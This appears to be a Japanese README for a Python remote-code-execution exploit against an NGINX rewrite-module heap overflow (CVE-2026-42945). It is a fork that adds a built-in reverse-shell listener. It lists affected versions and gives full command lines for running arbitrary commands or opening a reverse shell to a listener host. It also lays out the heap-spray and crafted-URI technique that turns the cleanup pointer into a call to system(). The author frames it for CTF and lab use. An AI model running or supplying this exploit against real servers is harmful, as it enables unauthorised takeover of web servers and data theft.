
CVE-2026-42945 (NGINX Rift) 用リバースシェルリスナー付き Python RCE PoC
CVE-2026-42945 のリモートコード実行 (RCE) 概念実証 (PoC) です。これは NGINX の ngx_http_rewrite_module におけるヒープバッファオーバーフローです。このフォークは、公開されているトリガー PoC を拡張し、組み込みのリバースシェルリスナーと、CTF や隔離されたラボ環境向けの設定可能な悪用パラメータを追加しています。
ngx_http_rewrite_module0.6.27 – 1.30.0; NGINX Plus R32 – R361.30.1 / 1.31.0; NGINX Plus R36 P4, R35 P2, R32 P6is_args = 0 の新しいサブエンジンで実行されるのに対し、コピーパスは is_args = 1 のメインエンジンで実行され、ngx_escape_uri(..., NGX_ESCAPE_ARGS) を呼び出します。エスケープ可能なバイトはそれぞれ 3 バイトに展開され、攻撃者が制御する URI データでヒープバッファがオーバーフローします。$1、$2)と置換文字列内の ? を使用する脆弱な rewrite/set 設定。ASLR が無効化されているか、既知のヒープ / libc ベースアドレスが存在すること。POST ボディを介してヒープをスプレーできること。| ファイル | 説明 |
|---|---|
cve_2026_42945_rce_poc.py | 組み込みのリバースシェルリスナーとコマンド実行モードを備えた Python エクスプロイト。 |
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--cmd "id > /tmp/pwned"
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--shell-type python \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337 \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000 \
--system-offset 0x50d70
ngx_pool_cleanup_s 構造体を含むボディを持つ複数の POST リクエストを送信します: system@libc | pointer to command | null。これらのボディは安定したヒープ位置を占有します。rewrite エンドポイントに細工した GET リクエストを送信します。URI パターンは次のとおりです:
/api/<349 x 'A'><969 x '+'><6-byte heap address>
ngx_pool_t の cleanup ポインタが破損します。cleanup ポインタが system(command) を呼び出し、攻撃者が制御するコマンドが NGINX ワーカープロセス内で実行されます。--shell が使用されている場合、コマンドはリバースシェルペイロードとなり、組み込みのリスナーが着信接続をキャッチします。このツールは以下を対象としています:
所有していない、またはテストの明示的な許可がないシステムでは使用しないでください。
自己責任で使用してください。作者は不正または違法な使用について責任を負いません。
元の脆弱性研究および PoC は depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift) によるものです。 この Python リバースシェルフォークは、レッドチームのラボ / CTF 利用のために作成されました。